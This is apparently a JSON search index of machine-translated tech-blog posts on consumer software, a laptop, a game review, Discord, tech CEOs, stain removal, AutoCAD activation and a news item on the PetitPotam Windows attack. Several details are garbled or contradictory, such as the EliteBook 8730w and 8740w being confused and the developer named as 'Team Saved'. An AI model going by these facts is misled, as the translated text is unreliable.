to the main Caricature effect interface on PhotoFunia. Users will see the original image just uploaded, click Go to PhotoFunia to analyze the face and insert the painting effect for the photo.\n  Step 4: The image results after transforming into the painting style as shown below. Click the Download button to download the image to your computer.\n  In addition, PhotoFunia also supports downloading images in small size 100 x 100 if you want to use as an avatar, or share photos on Facebook, Mail.ru, . in Share picture.\n  One way to change the style of portrait photos, your \"selfie\" image is also very artistic. Besides, let's try more of the other effects provided on PhotoFunia, and then apply to our images.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqylp7tuvMeoq6irXZ67tbuMqaCcrKWnsrR51qKroWWgnby1u8WupaKZXaS7rbXNng%3D%3D\n","link":"/post/how-to-turn-photos-into-pictures-with-photofunia-online/","section":"post","tags":null,"title":"How to turn photos into pictures with PhotoFunia online"},{"body":"The HP EliteBook 8740w is a product for design professionals with incredible color visibility . HP's DreamColor display (named after DreamWorks, the animation studio that helped develop and test this technology) is not new. In fact, the most recent product of the EliteBook laptop is the 8730w, which has been adopted this technology. However, compared to the number of colors that the EliteBook 8730w displays is \"only\" 15 million colors, the one-color figure that 8740w displays is truly amazing.\n  The EliteBook 8730w has a display of up to 1 billion colors. Photo: HP .\nIn addition to the brilliant screen, the 8740w models also have an Intel Core i5 or i7 processor option, with discrete graphics with ATI's 1GB VRAM, FirePro M7820 or Nvidia, the NVIDIA Quadro FX. In addition, users can also choose to use SSD hard drive with 256 GB capacity or a traditional hard drive with capacity from 250 to 500 GB (7,200 rpm). 8740w can also upgrade the maximum RAM memory to 16 GB.\nThe EliteBook 8730w is equipped with two USB 3.0 ports and two standard 2.0 ports. Optional 8-cell battery comes with a weight of 3.54 kg, a bit heavy for those who need a lot of travel.\n  The EliteBook 8730w has a durable magnesium alloy case. Photo: HP .\nLike other EliteBook models, the 8740w also has a durable magnesium alloy case that is resistant to scratches and scratches and the DuraKey keyboard for HP's overflow. In addition, the device is also equipped with fingerprint security features and shockproof hard drives to ensure the safety of internal data.\nIn addition to the pre-installed Windows 7 operating system, the 8740w also has a quick launch feature to browse e-mail, calendar, web browser without running through any operating system.\n  It is equipped with powerful hardware and the latest USB 3.0 standard. Photo: HP .\nThe EliteBook 8740w will go on sale in April with prices starting at around $ 1,999 (the starting price does not include the DreamColor screen, to own this screen technology users can spend up to several hundred dollars more). .\nncG1vNJzZmismaXArq3KnmWcp51kuaK806inZq%2BZqbVuv8KrnJ6mXai1sMPIp55mmV2Xtq24yKilZpufobyzvw%3D%3D\n","link":"/post/laptop-with-screen-showing-a-billion-colors/","section":"post","tags":null,"title":"Laptop with screen showing a billion colors"},{"body":"We'll then open the meetings you've scheduled in Google Calendar, so you can go through all the notes for your meeting. The following article will guide you to take quick notes in a meeting in Google Docs.\nInstructions for taking meeting notes in Google Docs Step 1:\nAt the interface in Google Docs, click Insert, then select Templates and click Meeting Notes to write notes for meetings.\n  Step 2:\nYou'll now see a drop-down list of the events you've created on Google Calendar. You find the event you want to write a note for. We can enter keywords about the meeting name for quick search.\n  Step 3:\nThen display the meeting note template so you can enter the note content for the selected meeting. You can click on the content displayed in the interface to have more information about the meeting.\nThe interface for importing notes for meetings is similar to when you import from Google Calendar, with the option to write note content.\n  ncG1vNJzZmismaXArq3KnmWcp51kvra1wqRkrKyVpcBuss6rZK2Zm567qHnMnpytoZ6ceq%2B7056qZqGeYrSwu8alnGacn5jA\n","link":"/post/quick-steps-for-taking-meeting-notes-in-google-docs/","section":"post","tags":null,"title":"Quick steps for taking meeting notes in Google Docs"},{"body":" Developer:\nTeam Salvato\nPublisher:\nTeam Salvato\nPlatform:\nMicrosoft Windows macOS Linux\nRelease date:\nSeptember 22, 2017\n'We will discover a horror and mystery story hidden behind the sweet and colorful footage of Team Saved'\n'Doki Doki literature Club' - Doki Doki Literature Club ! It is not difficult to describe this game when just looking at the first image you will imagine it as a typical romance novel with elements of dating simulator, set in a club. school literature, where four girls and the protagonist exchange poems that hide their feelings and lives.\nBut unfortunately for those who think this is really just a mediocre dating game, because if that's the case, then why is 'Doki Doki Literature Club' emerging as a novelty compared to other games? the same kind. Therefore, I will go through this review to help you have a better look at this game, why it is so attractive.\nFirst of all this could also be 'Spoiler' and I think it's important to warn you guys if you're scrolling down. And first let's go in what order: the game starts with the main character image like a classic Japanese romance novel (but in this case, the game's development team is Western) must choose the club department of the school to participate.\n  In an ordinary school-age morning, the protagonist takes the advice of a childhood friend to regain the joy of going to school by enrolling in her literature club. . and finally a school 'hot girl' who is also the president of this club.\n  The next story progression happens in a rather interesting way, with the player as the main character being invited day in and day out to write poetry by choosing the right words to impress one of the three girls. girls (the fourth one was disqualified for a specific reason I won't tell you). No wonder, if you come here, you still think of it as a seemingly trivial game, with a light and superficial theme.\nBut believe me, when the sensitization phase is over, new climaxes begin to pour out, right? And with the same polished, well-executed visuals, it follows the rules of the dating simulator genre and is unpredictable as to what will happen next. Well, then as mentioned, Doki Doki Literature Club! it's time to put on a different outfit, become much darker, more horror and sad.\n  The curtain on the characters and the setting seems to crumble and the appeal is propelled by themes such as depression, possessiveness, and others that you'll experience as you play it. . But now, human nature in the face of love and choices also comes into play, because the real content of the game begins to emerge after the end of the dating simulation phase. inherent.\n  'Doki Doki Literature Club! It's completely free to play: you can download and play as much as you want without spending a dime. There aren't even any transactions to disturb the gaming experience, so you can play it comfortably with no problem of having to top up to continue playing.\nHowever, there is a way to support the product coming from Team Saved by purchasing a 'Pack' for Doki Doki Literature Club fans, which includes some extras such as: soundtrack (24) music scores, including some remixes), high-resolution wallpapers, and illustrated catalogs in PDF format.\nWhile this is a completely optional purchase, believe me: after the end of the Doki Doki Literary Club! you'll want to reward whoever made it.'\nJUST MONIKA ???!\nAt the beginning of the second stage, you immediately realize that something is wrong, the game is trying to take possession of our cursor ?, dark connotations and scary paradoxes accompanied by a someone's absence is worrisome (I won't reveal this detail because I want you to feel it while playing the game).\n  In short, we are enveloped in a great sense of insecurity and tension, which will grow and accompany us until one of the mysteries is revealed. Usually the first feeling you will feel is mostly the coldest, in which you are \"observed\" carefully every expression, the naked statement of the female character group.\nSo we assure you that Doki Doki Literary Club is a game worth playing over and over again - to be able to discover the fates of all the girls and have literal access to the files. game news to solve different storylines. And do you think at some point, the interaction between the game - the player became so deep that all of our gestures and actions were accurately read through the dialogues in the game.\n  'Doki Doki Literature Club' puts us in an uncomfortable and somewhat guilty position, although the real horror seems to be on the other side of the screen. Unknowingly, we somehow make ourselves part of the game and our gestures become part of the game itself, not through a character we represent.\nSo we realized that the relationship with the characters we interacted with was very different from what we were used to through other games: we the players were their jailers, in a sense we are everything to the characters in this game.\n  Here in this very game, all the hidden details are hidden in the most unexpected way, and no matter how hard you try to stick to the content, it is unlikely that you will be able to answer it all if you do not pay attention. attention to all the smallest details (unless you search for solutions on the internet). Total Doki Literature Club! will cost you only about 8-9 hours of gameplay, a time that you won't regret a second.\nncG1vNJzZmismaXArq3KnmWcp51kv6bCyJ6uZpyfoLZusM6koGakmamys63TrqmeZZOhwqN5y6itnmWRo7Fusc2vsA%3D%3D\n","link":"/post/review-doki-doki-literature-club/","section":"post","tags":null,"title":"Review : Doki Doki Literature Club"},{"body":"When we go to work and own titles to meet with many people, owning a Name Card will make it easier for people to contact. Although mobile phones have become a lot more popular these days, it still cannot replace the traditional Name Card. To design the Name Card you can use the simple online tools. In this article, Software Tips will send to you the Top 5 Name Card Design tools Online.\n  1. Name Card Online   Name Card Online is the tool that provides the most Name Card templates to users, with these available templates you can adjust them to better suit or change your personal impression. Name Card Online fully supports different types of fonts, so you can freely write Vietnamese without worrying about font errors. In addition, the Name Card Online tool is freely available to all users.\n2. PS Print   PS Print is associated with designers and users, so PS Print's repository is extremely large and diverse. For users, if they create their own Name Card models, they can share it with others to share additional resources for the system. PS Print's available Name Card templates are very professional from simple to complex, there are some specialized templates for a number of different jobs such as Sale Real Estate, Market, .\n3. Business Card Maker   The Business Card Maker tool does not provide users with many existing templates because they aim to create customized Name Card templates for themselves instead of using the existing versions. Because of that, Business Card Maker is very picky to the user, but the Business Card Maker's Name Card creative toolkit has many features and is very powerful. If you like the uniqueness, personal touch and personality, Business Card Maker will be a great choice.\n4. Crello   Crello is a medium that provides both free and paid Name Card products at affordable prices. For free products on Crello it is enough to meet the needs of users. Right from the home page, you have seen this is a very invested and professional tool. The free product samples are also very diverse for users, there are some specialized Name Card products for certain audiences.\n5. Placeit   Placeit provides simple - convenient - professional solutions for users, on the Placeit platform, only provides Name Card templates for users to change information (Template) instead of forcing users to sit and create things. own template. Placeit's intimate repository is extremely large and diverse with over 500+ different Name Card templates for users. Placeit mostly uses Name Card models with professional, modern, flat design suitable for the current era.\nIn this article, Dexterity Software has sent you the Top 5 Online tools to design the most beautiful and professional Name Card. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51kwbC8jG5kpqejqXqjscCuq6KepaF6orrDZqerp5aawLS1zqeYpWWelrqmecKaqZ1ln6O5qrrEZpueq5mcu27AzqijrA%3D%3D\n","link":"/post/top-5-most-beautiful-and-professional-name-card-online-design-tools/","section":"post","tags":null,"title":"Top 5 most beautiful and professional Name Card Online design tools"},{"body":"Don't let a touchy touchpad ruin your opinion of a laptop that's otherwise in fine working order. You can extend the life of your laptop with a few, simple tweaks to its touchpad. Whether your touchpad is dead to the touch or is acting skittish -- registering unintended gestures while failing to recognize your intended swipes, pinches, taps and clicks -- \u0026nbsp;Windows 10 ($157 at Amazon) offers a host of settings to let you get working the way you want.\u0026nbsp;\n I'll start with how to revive a dead touchpad and then cover the various settings you can use to tweak its sensitivity, gestures and scrolling direction. And if you'd like more tips, here's how to\u0026nbsp;master Windows 10 using 11 hidden tricks. This story updates periodically.\nRevive a dead touchpad If your laptop doesn't feature a touchscreen display, then you will need a mouse to revive a disabled touchpad. With your touchscreen or mouse, open Settings and go to Devices \u0026gt; Touchpad and make sure the toggle switch at the top is toggled\u0026nbsp;On.\u0026nbsp;\n  If your touchpad is dead and your laptop doesn't have a touchscreen and you don't have a mouse within reach, you can try to to find the function key that might enable and disable the touchpad. My Dell Inspiron laptop doesn't have function key for such a purpose, but look at your row of Function keys and see if one has an icon that looks a tiny touchpad with a diagonal line through it. Try toggling this key (while pressing the Fn key or, if that doesn't work, not pressing it) to see if your touchpad springs back to life. If not, then you'll need to find a mouse and go into Settings to toggle on the touchpad.\nSettle down a skittish touchpad There are a number of ways a touchpad can feel wonky. Perhaps your cursor is moving too fast or too slow. Maybe the touchpad feels too sensitive, registering phantom clicks and gestures. Or maybe it's not sensitive enough, making you repeat yourself. Thankfully, Windows 10 offers a number of settings to fine tune how your touchpad reacts to your clicks, taps and swipes.\nHead to Settings \u0026gt; Devices \u0026gt; Touchpad and you'll see a slider near the top labeled\u0026nbsp;Change the cursor speed. Play around with the slider\u0026nbsp;until you find a speed you can work with.\u0026nbsp;\nOne of of the most annoying problems you'll encounter is a touchpad that's overly sensitive to taps to the point where it moves the cursor around as your type because your thumb or palm brushed ever so gently against it. You can dial back this setting with the drop-down menu for Touchpad sensitivity, choosing between Most, High, Medium and Low sensitivity.\u0026nbsp;\nOn any Windows laptop I use for any length of time, I always disable two touchpad settings: tapping and zoom. Tapping lets you, well, tap the touchpad to perform a click instead of using a mouse button or clicking down on the touchpad with your finger. I find it's more a nuisance than convenience because it makes a touchpad constantly think I'm tapping when I'm not, even when I'm using Low sensitivity.\u0026nbsp;\nI also find a touchpad regularly thinks I'm pinching to zoom when the only time I use that gesture is when I'm using\u0026nbsp;Google Maps. Since I don't use Google Maps all that often on my laptop, zoom is out. So, I uncheck the boxes for\u0026nbsp;Tap with a single finger to single-click\u0026nbsp;and\u0026nbsp;Pinch to zoom.\nIf you are a touchpad tapper and zoomer, you can keep those two gestures and then disable any that require more than one finger to help prevent your touchpad from misreading your taps and pinch zooms. Uncheck the boxes for Tap with two finger to right-click and Drag two fingers to scroll.\u0026nbsp;\nMy suggestion is to disable any tap gestures you don't regularly use to prevent you from unintentionally engaging them.\n  Now that we've got your two-fingers gestures under control, let's talk about three- and four-finger gestures. You've got two options -- swipes and taps -- for each. I usually leave the swipe gestures at their default settings -- switching apps with a three-finger swipe and switching desktops with a four-finger swipe -- and disable the tap gestures because, as you now know, I'm fundamentally opposed to keyboard taps.\nLastly, if you get a new laptop and the touchpad scrolls in the opposite direction to which you're accustomed, there's setting is also located on the Touchpad page in Settings to pick your direction. Look for Scrolling direction and choose either Down motion scrolls up or Down motion scrolls down.\nUpdate your drivers I'm using a 2019 Dell Inspiron and when I tried to update the touchpad driver, I was told that the driver was up-to-date; the driver is from 2006. So, the odds are your touchpad driver is current and not the source of your touchpad problems. Still, it's worth checking if your touchpad is acting up. To do so, search for Device Manager, open it, go to Mice and other pointing devices, and find your touchpad (mine is labeled HID-compliant mouse, but yours may be named something else). Right-click on your touchpad and click Update driver.\n  Your laptop will check the internet for updated driver software and, hopefully, update accordingly. If your computer can't find an updated driver, you may need to look for the updated driver by yourself. Look at the downloads sections of your laptop manufacturer's website or just Google \"[LAPTOP MODEL] Windows 10 touchpad driver.\" You may need to uninstall your old touchpad driver (Device Manger, right-click on touchpad, Uninstall) before installing the new driver.\nncG1vNJzZmismaXArq3KnmWcp51kwbDBwqGnmpxdo7y1edaoqaShnpx6sLqMsqauql2stq%2BwzrCqZmlgYrmivNOop2aglaeytHnHqK5mrJ9is6rEjKKr\n","link":"/post/touchpad-not-working-on-your-windows-10-laptop-here-s-how-to-fix-it/","section":"post","tags":null,"title":"Touchpad not working on your Windows 10 laptop? Here's how to fix it"},{"body":"Recently, many people talked about Discord, but what it is and how to use it is hard to find. Therefore, this article will give some basic information for beginners.\nWhat is Discord?\nDiscord is a voice and text chat system, allowing communication with other people playing the same game with you. Anyone can create a discussion host whatever they want. There is a server set up for Eve: Valkyrie, and an established community here. You can find people to talk about Valkyrie and create teams with most times of the day.\nBuild your own awesome gaming machine like PlayerUnknown's Battlegrounds Why use Discord?\nThere are definitely communication channels available in the Valkyrie game, but at this point, it has some shortcomings that Discord has dealt with beautifully. It is worth noting that the voice communication channel in Discord is always on, while the in-game communication channel only works when the player is in a match. If only using the available communication channels in the game, the player loses contact with his or her teammates at the end of the game. So you can't share the joy of winning a match with a teammate or discussing shortcomings and mistakes in the match. Conversely, in Discord, players can talk to anyone, anytime as long as they are in the same communication channel, even without being in the same team as you. This will help to invite the team or organize a larger group into teams to fight each other. Another advantage of Discord is better voice quality than in games, no loss of voice and clearer communication.\nDiscord also has several text chat channels as well as personal messages between users. This is great when you can't or don't want to use voice communication channels to chat.\n  So how to get Discord?\nFirst of all, you need an invitation from Eve: Valkyrie Discord server. @Gigai community members have created this easy URL to receive invitations:\nhttp://discord.nullsec.io\nClick this link and then create a free account. Once logged in, you will be connected to Eve: Valkyrie Discord server.\nYou should also install a original Discord application instead of using the web interface. It uses less computer resources and usually runs better than the web version.\nHow to use Discord to communicate by voice\nFor Oculus Rift users\nWhen installing Discord, it is automatically configured to use the default audio I / O devices. Normally, users do not want to use this default audio device if they are using Rift. Therefore, the first thing to do is configure Discord to use the Rift for audio input / output.\nStep 1: Click the small gear icon near the username, bottom left of the Discord window.\nStep 2: Click \" Voice \" in \"User Settings \".\nStep 3: Select \"Rift Audio \" as input and output device.\nStep 4: If you want to use Push to Talk, select it in \"Input Mode\" and then select a binding key for PTT. If not, keep it in \" Voice Activity \" mode and only play the voice whenever you speak.\nStep 5: Click \" Done \" when done.\nFor PSVR players\nPSVR players can install Discord on a mobile or desktop device , then split the audio to the headset using either a Bluetooth headset or a Bluetooth headset and a headphone jack.\nNow when you're ready to chat with someone, you can join a voice communication channel. Click the Valkyrie icon on the left side of the Discord window to display the list of voice and text communication channels, the voice channels will be in the \" Voice Channel \" heading. There are \"Valkyrie General\" and a series of All other channels are named after the planets, all basically the same, there are also voice channels called \"NA Players Looking to Squad \" and \"Players EU Looking to Squad\" , its purpose is Find the team.\nYou can see who is in these voice communication channels because their names will be listed under the channel name. Do not be afraid to join a voice channel with people in it. Everyone in Discord aims to find and meet new players, so you are welcome in any of these channels. Just click on the channel name to join. Introduce yourself and ask someone to invite the team if you want.\nIf you don't see anyone in the channel, you can join yourself. Chances are, someone will soon come and join your channel, introduce themselves and ask you to invite the team.\nImportant note:\nWhile playing a game connected to Discord, the player should make sure to turn off the in-game communication channel, and at the same time can create echoes, feedback and other jamming sounds. During the match, press the \"Start\" button on the controller, then press on the right analog stick to turn on or turn off the in-game communication channel.\nPlayers can mute or disconnect their voice channel by clicking the corresponding button next to the username at the bottom left of the Discord window. This is useful if you need privacy or quiet, but keep in mind that even if you turn off the in-game communication channel, the mic in the game is still active. Therefore, members of a team use communication channels in the game instead of Discord will hear whatever you say through the mic while in a match.\nWhen done, make sure to disconnect by clicking on the disconnect button at the end of the channel list. If not, you may accidentally play the sound of spinning the Rift microphone that is accessing the channel.\nHow to use written communication channels on Discord.\nThere are several text channels installed on Valkyrie Discord server. They are listed on the left under the heading \"Text Channels .\" There are also other channels like #welcomechannel informing about Valkyrie, #valkyriegeneral channel to discuss different topics and #rookiehelp channel if you have questions. What to answer.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWUnsCku9GdZJqmlGK1sMOMraZmraOaeqrA\n","link":"/post/what-is-discord-and-how-to-use-it/","section":"post","tags":null,"title":"What is Discord and how to use it?"},{"body":"Recently, French security researcher Gilles Lionel, aka Topotam, has revealed a new attack technique called PetitPotam. This is an NTLM forwarding attack that does not depend on the MS-RPRN API, but uses the EfsRpcOpenFileRaw function of the MS-EFSRPC API.\nMS-EFSRPC is Microsoft's Remote System File Encryption Protocol, commonly used to perform maintenance operations and manage encrypted data that is stored remotely and accessed over the network.\nAccording to Lionel, this is not a vulnerability but an abuse of a legitimate feature of the system. PetitPotam not only allows hackers to control the entire Windows domain but also leads to other attacks, Lionel shared.\n  Soon after Lionel published his research on GitHub, many other security experts embarked on testing. Security researcher Remi Escourrou confirmed that PetitPotam can be used to control the entire Active Directory. In addition, he added that there is practically no way to block PetitPotam.\nPetitPotam affects Windows Server 2008 to 2019. According to Microsoft, there is no indication that the PetitPotam attack technique was used by hackers.\nMicrosoft shares how to fix PetitPotam In a statement just released, Microsoft acknowledged that organizations can be attacked by PetitPotam. Currently, Microsoft has not yet released a patch, but it advises organizations to take the following measures to minimize the damage caused by PetitPotam:\nDisable NTLM where it is not needed (eg Domain Controller) Enable Extended Protection for Authentication to protect login information on Windows computers However, PetitPotam attacks by abusing the EfsRpcOpenFileRaw function of the MS-EFSRPC API to pass authentication requests, opening the door to other attacks. Microsoft's advice only prevents NTLM forwarding attacks without addressing MS-EFSRPC API abuse. Maybe Microsoft needs to roll out an update to fix this issue.\nSecurity expert Benjamin Delpy said that the mitigation measures that Microsoft offered were not satisfactory. The EFSRPC protocol is not even mentioned.\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWgmsGqwM%2Boq5qlXZbBta3CpGShp6diwbB5zq%2Bcq5uforJuvMStoK2on6murnnArauam5s%3D\n","link":"/post/what-is-petitpotam-attack-how-to-overcome-petitpotam-attack/","section":"post","tags":null,"title":"What is PetitPotam Attack? How to overcome PetitPotam attack"},{"body":"For students who choose a college or university that matches their expertise, it is the deciding factor that will help you change your future later. The tech CEOs in Silicon Valley are no exception, these people are not only passionate about and pursuing technology, they also have a lot of rich qualifications that make you admire them. Let's see, when we went to school the bosses learned something.\nReed Hastings - Netflix CEO\n  \nNetflix CEO used to study at Bowdoin University, majoring in Mathematics and Stanford, majoring in Computer Science. However, he postponed his studies for a year to continue earning money by selling vacuum cleaners. While at Bowdoin, he ran the Outing Club, specializing in mountain climbing and canoeing.\nJack Ma - Chairman of Alibaba\nAlibaba's owner studied at Hangzhou University, majoring in English and studied a Master of Business Administration at Cheung Kong Graduate School of Business. He took the exam four times before being accepted to school to study English.\nSusan Wojcicki - YouTube CEO\n  \nSusan Wojcicki is probably the rare woman ever included in the list of key members \"L\" by Larry Page, the founder of Google. This powerful \"female general\" has studied at prestigious universities such as Harvard, UC Santa Cruz, ULCA Anderson School of Business. At each school she studied a specialization from History, Literature to Economics, Master of Business Administration.\nJames Park - CEO FitBit\n  \nHarvard is the ideal school that most technology CEOs have ever attended. James Park - CEO FitBit is no exception, he has studied Computer Science at this prestigious school.\nTravis Kalanick - Uber CEO\nThe most controversial Travis Kalanick CEO in Uber used to study computing at the University of California in Los Angeles. However, Kalanick left his studies to focus on developing a Scour search engine, with classmates Michael Todd and Vince Busam.\nMeg Whitman - CEO HP Enterprise\n  \nAfter graduating from Princeton University and Harvard, the major in Economics and the Master of Business Administration Whitman held several senior positions at a number of well-known companies.\nAccordingly, after receiving an MBA at Harvard in 1979, Withman started his career as a brand manager at Procter \u0026amp; Gamble in Cincinnati, Ohio. In 1989, Whitman became vice president of strategic planning at Walt Disney Company. Two years later, she joined Rite Corporation Stride, before becoming President and CEO of Transworld Delivery in 1995.\nSatya Nadella - Microsoft CEO\n  \nMr. Nadella studied at Manipal Technology Institute, University of Wisconsin Milwaukee and the Chicago Booth School of Business. Microsoft CEO holds a degree in Electrical Engineering, Computer Science and a Master of Business Administration.\nAlthough he initially wanted to be a professional cricket player, Mr. Nadella soon realized that it was better to pursue a passion for science and technology. He received his Electrical Engineering degree because he knew he wanted to build something but moved to the US to study because he wanted a school with a computer science program.\nElon Musk - Tesla CEO and SpaceX\nPhysics and Economics are the specialties that Tesla's CEO and SpaceX attended at Pennsylvania's College of Arts and Sciences \u0026amp; Wharton School of Business before coming to technology.\nWhile still in school, to earn extra income, Elon Musk rented a 12-bedroom house and turned it into a nightclub, sometimes picking up to 500 guests per night.\nEvan Spiegel - CEO Snapchat\n  \nLuckier than many other CEOs, Evan Spiegel was born into an upper class family, his parents were lawyers, Evan enjoyed life in silk velvet from him. After graduating from high school, he headed straight to the prestigious Stanford University to major in product design. But with his rebellious personality, Evan did not sit still until he graduated, he gave up his studies to focus on his whole child, Snapchat.\nBill Gates - Microsoft founder\nReferring to Bill Gates, we will immediately remember a talented billionaire who skipped school to make a career. While studying at Harvard, he had never attended a proper major, but spent most of his time playing naughty computers. In a question and answer session on the Reddit forum, Bill Gates admitted that he did not attend classes but appeared in classes he did not register.\nTim Cook - Apple CEO\nTim Cook of \"apple flaw\" also offers his prestigious degrees such as Industrial Engineering, Master of Business Administration. Auburn University, Duke University's Fuqua School of Business is the school that forged the bright jewel for technology village today.\nMark Zuckerberg - Facebook CEO\nMany of us when referring to Bill Gates often think of a successful dropout and autonomy genius. But now, not only Bill Gates but also Mark Zuckerberg dropped out of Harvard to set up a career. In the past, while studying in his major, he was Psychology and Computer Science.\nLarry Page - Google CEO\n  \nLarry Page studied at the University of Michigan, Stanford University, majoring in Computer Engineering and Computer Science. After graduation, he continued to study for a PhD at Stanford. This is where he met his friend Sergey Brin with the same technology interest and founded Google.\nSergey Brin - Chairman of Alphabet\nUnlike many other CEOs who have studied many different subjects before coming to technology. When Sergey Brin went to college, he decided to study Computer Science at the University of Maryland.\nSundar Pichai - Google CEO\n  After studying at Kharagpur Institute of Technology, India. Thanks to my hard work and hard work Sundar Pichai received a scholarship and went on to study at Stanford University and Wharton University in the United States. Google CEO holds a degree in Metallurgical Engineering, Materials Science and Engineering.\nSee more:\n10 desirable jobs at Microsoft give you hundreds of thousands of dollars in income Tanmay Bakshi, a 14-year-old boy, became an advisor to IBM, an AI expert A small habit but it determines the success of technology CEOs Criteria for choosing partners of world billionaires ncG1vNJzZmismaXArq3KnmWcp51kxKmt02akmqKfp3q0tcuomqimXauurbjEsmStsZOkvK%2B%2FjKyrrpypYravedOhnGatnp7Dpr7Soquy\n","link":"/post/what-major-silocon-valley-tycoons-study-in-the-university/","section":"post","tags":null,"title":"What major silocon valley tycoons study in the university?"},{"body":"Lipstick is one of the indispensable items for women. Sometimes due to negligence, the stain will stick to clothes that if applied the usual washing method will not be able to remove it. In that case, immediately apply one of the following methods to remove lipstick marks on your clothes.\n1. Hair spray To remove lipstick from your shirt, you can use hairspray. Put 1 sheet of tissue on the inside of the lipstick, then spray glue onto the stain. After 10 minutes, place another piece of paper to absorb the stain.\nIf you don't have a tissue, you can use a hairspray spray on the lipstick. After 10 minutes, use your hand to wipe the lipstick stain.\nAfter that, putting on clothes to wash lipstick will completely disappear.\nWet wipes for babies Wet wipes usually contain small amounts of alcohol and a cleaning agent. So, if you get lipstick on your shirt, get a wet towel, gently wipe over the lipstick marks to clean the shirt.\nDish washing liquid   To remove lipstick from your clothes, you can use dishwashing liquid. Pour some dishwashing liquid onto a damp washcloth and rub gently on the lipstick stain on your shirt, then rinse the towel off with water. Repeat this procedure a few times, and the lipstick on your shirt will be removed.\nCleanser Apply a sufficient amount of cleanser to the stain, rub your hands gently or use a toothbrush to rub gently. After that, wash the clothes as usual to completely remove the lipstick.\nOil / makeup remover   Water / makeup remover can help clean the lipstick stains on light-colored clothes. Put a small amount of oil / makeup remover on the lipstick and wait about 1-2 minutes. Afterwards, use a scrub brush and put the shirt back to wash as usual.\nWhite wine White wine with alcohol is not too high, so it can help clean the lipstick without worrying about damaging the fabric. Use a soft cloth to soak a little white wine and wipe the lipstick on your shirt. Do it a few times and you will see the lipstick marks fade. Finally, wash your shirt to completely remove lipstick stains.\nNote to clean lipstick stains on clothes most effectively Remove lipstick stains on shirt as soon as possible to get the best effect. Actions to clean lipstick stains on clothes should be gentle but still definitive so they won't spread to other areas on the clothes. To completely remove lipstick stains on clothes, after doing one of the above, you need to wash your clothes again with water and washing powder.\u0026nbsp; ncG1vNJzZmismaXArq3KnmWcp51kg27DwLKqZqyfYrCtscCnZKWhoKjBqq%2FKZqSaqpuoerC6jLKmrqpdqLWqvtNmqK6hk6C5unnAp5tmq5miva3F\n","link":"/post/6-ways-to-clean-lipstick-marks-on-your-shirt-quickly-and-simply/","section":"post","tags":null,"title":"6 ways to clean lipstick marks on your shirt quickly and simply"},{"body":"AutoCAD is a design and drafting application for Windows and macOS developed by Autodesk. If you have a regular single-user subscription, AutoCAD will activate automatically once you sign in to the app. If you have a perpetual or...\nMethod 1of 4:\nActivating as a Subscriber  Open AutoCAD on your computer. You'll find it in the Start menu (if you have Windows) or in the Applications folder (on macOS). If you have a single-user subscription for AutoCAD, the app will activate automatically once you sign in with your Autodesk account.[1] If you have a different type of license, such as a perpetual single-user license or any other type that comes with a serial number, see this method instead.   Click Single-user (2019 and later) or Sign-In (2015-2018). If you're not already signed in with your Autodesk account, a login screen will appear.\n  Log in with your Autodesk account. Use the same username and password you used to pay for your subscription. Once you're signed in, your product will activate automatically.\n Method 2of 4:\nActivating with a Serial Number  Locate your serial number and product number. If you have a perpetual single-user license or any other type (including educational licenses) that comes with a serial number, use this method. If you don't already have your serial and product numbers accessible, you can find them by signing in to your Autodesk account at http://manage.autodesk.com and clicking the Management tab. If you have a regular single-user subscription, use the Activating as a Subscriber method instead.   Open AutoCAD on your computer. You'll find it in the Start menu (if you have Windows) or in the Applications folder (on macOS).\n  Click Enter a serial number on the \"Free Trial\" window. It's the blue link below the large square buttons (2019 and later) or the big square in the center (2018 and earlier).\n  Enter the serial number and product key and click Next. Once the information is accepted, you'll see a confirmation window.\n  Click Finish on the confirmation window. You can now use the full version of AutoCAD.\n Method 3of 4:\nConverting a Trial into a Subscription  Open AutoCAD on your computer. You'll find it in the Start menu (if you have Windows) or in the Applications folder (on macOS). If you've been using a free trial version of AutoCAD and want to purchase a subscription, use this method to do so.\n  Click Subscribe Now on the pop-up window. This opens the Autodesk store to a sign-in screen.[2]\n  Sign in with your Autodesk account. Use the same username and password you used to download your free trial version of AutoCAD.\n  Follow the on-screen instructions to process your payment. You will receive an email receipt once your payment is processed.\n  Return to AutoCAD. In most cases, processing your payment will activate AutoCAD immediately—give the app a try to make sure. If you're still being asked to subscribe, continue with this method.\n  Click the Sign In menu. It's at the top-right corner of the app. A menu will expand.\n  Click Manage License on the menu. This opens the License Manager.\n  Click Change license type next to AutoCAD. This should close and re-open AutoCAD and display the \"Let's Get Started\" screen.\n  Click Single-user (2019 and later) or Sign-In (2015-2018). The option you see varies by version.\n  Log in with your Autodesk account. Use the same username and password you used to pay for your subscription. Once you're signed in, your product is considered active.\n Method 4of 4:\nActivating Offline  Make sure you need to activate offline. If you have a single-user subscription, don't use this method to activate the product manually—you must activate AutoCAD online to confirm the subscription.[3] Only use this method in one of two situations:[4] You have a stand-alone education license (teacher or student) but don't have internet access. You have a perpetual license for a standalone Autodesk project from 2016 or earlier and meet at least one of the below criteria: Do not have internet access. Have reinstalled or changed your operating system. Changed your request code. Got new hardware and are being asked to reactivate. Need to reactivate as part of a troubleshooting step.    Locate your serial number and product key. If you don't already have this information readily accessible, you can find it by signing in to your Autodesk account at http://manage.autodesk.com. Just click the Management tab once signed in.\n  Launch AutoCAD on your computer. You'll find it in your Windows Start menu or the Mac Applications folder. If the computer is connected to the internet, you must disconnect it first. Your computer cannot have an active internet connection while you use this method.   Click Activate on the \"Free Trial\" window. This window will appear as long as the product is not currently activated. If you don't see this window and are just taken to AutoCAD, your product is active. If you're using an older version of AutoCAD (2014 and earlier), the menus and options described in this method may vary.   Enter your serial number and product key and click Next.\n  Select \"Request an activation code using an offline method\" and click Next. You'll see a \"Request Code,\" which you'll need to write down. This code is generated based on the information you've entered. Click Close when you're finished writing down the request code.   Go to https://knowledge.autodesk.com/customer-service/download-install/activate/manual-activation-registration/activation-codes. Since this step requires an internet connection, you'll need to use a different computer (or phone or tablet). This brings you to the \"Get an activation code\" page.\n  Click the blue GET STARTED button. It's near the bottom-right corner of the page content.\n  Follow the on-screen instructions to receive your activation code. You'll have to provide your contact info, serial number, and the request code you generated earlier. Once the information is accepted, write down the activation code that appears on the screen.\n  Return to AutoCAD and click Activate. It'll be on the Free Trial screen.\n  Enter your serial number and product key and click Next.\n  Select I have an activation code from Autodesk and click Next.\n  Follow 